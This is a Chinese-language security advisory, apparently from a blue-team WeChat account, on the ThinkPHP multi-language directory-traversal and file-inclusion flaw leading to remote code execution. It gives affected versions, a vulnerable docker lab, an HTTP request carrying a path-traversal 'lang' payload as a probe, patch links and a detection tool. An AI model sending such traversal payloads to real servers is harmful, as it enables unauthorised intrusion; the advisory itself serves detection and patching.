0x01 ThinkPHP
ThinkPHP 是一个免费开源的、快速、简单的面向对象的轻量级PHP开发框架 ,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。
0x02 影响范围
受影响版本:
6.0.1 < ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x
安全版本:
ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42
0x03 漏洞详解
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
攻击条件
thinkphp6 ,打开多语言功能
app/middleware.php :
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// thinkmiddlewareCheckRequestCache::class,
// 多语言加载
thinkmiddlewareLoadLangPack::class,
// Session初始化
// thinkmiddlewareSessionInit::class
];
这里可以使用7CoinSec搭建好的docker镜像
docker pull 7coinsec/thinkphp6013_lang_on
docker run -it -d -p 12345:80 7coinsec/thinkphp6013_lang_on
GET /index.php?lang=../../../../../public/index HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
如果返回报错则代表存在漏洞
0x04 漏洞信息
细节是否公开 | POC状态 | EXP状态 | 在野利用 |
---|---|---|---|
是 | 已公开 | 未公开 | 已发现 |
0x05 漏洞修复
建议受影响的ThinkPHP客户尽快安装 ThinkPHP V6.0.14 或更高版本
下载链接:https://github.com/top-think/framework/releases/tag/v6.0.14
0x06 漏洞检测
7CoinSec 已具备检测能力
下载地址:https://github.com/7coinSec/ThinkPHPLangVulCheck
如有师傅们喜欢,点个Star再走
下载编译好的文件之后,如下执行
chmod +x ./ThinkPHPLangVulCheck
./ThinkPHPLangVulCheck
免责任声明
该工具仅供学习和参考。因用于其他用途而产生不良后果,作者不承担任何法律责任。
本工具仅能在取得足够合法授权的企业安全建设中使用,在使用本工具过程中,您应确保自己所有行为符合当地的法律法规。如您在使用本工具的过程中存在任何非法行为,您将自行承担所有后果,本工具所有开发者和所有贡献者不承担任何法律及连带责任。除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
关注我们
原文始发于微信公众号(7coinSec):蓝队自检工具 --Thinkphp 多语言 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论